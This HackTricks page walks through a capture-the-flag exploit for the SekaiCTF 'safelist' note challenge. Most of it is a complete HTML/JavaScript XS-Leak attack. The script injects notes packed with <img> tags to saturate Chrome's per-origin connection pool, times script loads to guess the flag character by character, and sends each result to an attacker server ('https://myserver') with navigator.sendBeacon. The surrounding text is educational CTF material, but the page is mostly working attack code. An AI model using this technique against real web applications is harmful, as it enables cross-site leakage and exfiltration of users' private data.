136 lines
7.9 KiB
Markdown
136 lines
7.9 KiB
Markdown
# Connection Pool by Destination Example
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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In [**this exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) proposes yet another solution for the challenged mentioned in the following page:
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{% content-ref url="connection-pool-by-destination-example.md" %}
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[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
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{% endcontent-ref %}
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Let's see how this exploit work:
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* The attacker will inject a note with as many **`<img`** tags **loading** **`/js/purify.js`** as possible (more than 6 to block the origin).
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* Then, the attacker will **remove** the **note** with index 1.
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* Then, the attacker will \[make the **bot access the page** with the reminding note] and will send a **request** to **`victim.com/js/purify.js`** that he will **time**. 
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* If the time is **bigger**, the **injection** was in the **note** left, if the time is **lower**, the **flag** was in there.
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{% hint style="info" %}
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Tbh, reading the script I missed some part where the **attacker makes the bot load the page to trigger the img tags**, I don't see anything like that in the code
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{% endhint %}
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```html
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<html>
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<head>
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<script>
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const SITE_URL = 'https://safelist.ctf.sekai.team/';
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const PING_URL = 'https://myserver';
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function timeScript(){
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return new Promise(resolve => {
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var x = document.createElement('script');
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x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
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var start = Date.now();
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x.onerror = () => {
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console.log(`Time: ${Date.now() - start}`); //Time request
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resolve(Date.now() - start);
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x.remove();
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}
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document.body.appendChild(x);
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});
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}
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add_note = async (note) => {
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let x = document.createElement('form')
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x.action = SITE_URL + "create"
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x.method = "POST"
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x.target = "xxx"
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let i = document.createElement("input");
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i.type = "text"
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i.name = "text"
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i.value = note
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x.appendChild(i)
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document.body.appendChild(x)
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x.submit()
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}
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remove_note = async (note_id) => {
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let x = document.createElement('form')
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x.action = SITE_URL+"remove"
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x.method = "POST"
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x.target = "_blank"
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let i = document.createElement("input");
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i.type = "text"
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i.name = "index"
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i.value = note_id
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x.appendChild(i)
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document.body.appendChild(x)
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x.submit()
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}
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const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
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// }zyxwvutsrqponmlkjihgfedcba_
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const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
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var prefix = 'SEKAI{xsleakyay';
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const TIMEOUT = 500;
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async function checkLetter(letter){
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// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
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// Depending whether we found flag's letter it will either load the images or not.
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// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
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const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
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await add_note(payload);
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await sleep(TIMEOUT);
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await timeScript();
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await remove_note(1); //Now, only the note with the flag or with the injection existsh
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await sleep(TIMEOUT);
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const time = await timeScript(); //Find out how much a request to the same origin takes
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navigator.sendBeacon(PING_URL, [letter,time]);
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if(time>100){
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return 1;
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}
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return 0;
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}
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window.onload = async () => {
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navigator.sendBeacon(PING_URL, 'start');
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// doesnt work because we are removing flag after success.
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// while(1){
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for(const letter of alphabet){
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if(await checkLetter(letter)){
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prefix += letter;
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navigator.sendBeacon(PING_URL, prefix);
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break;
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}
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}
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// }
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};
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</script>
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</head>
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<body>
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</body>
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</html>
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```
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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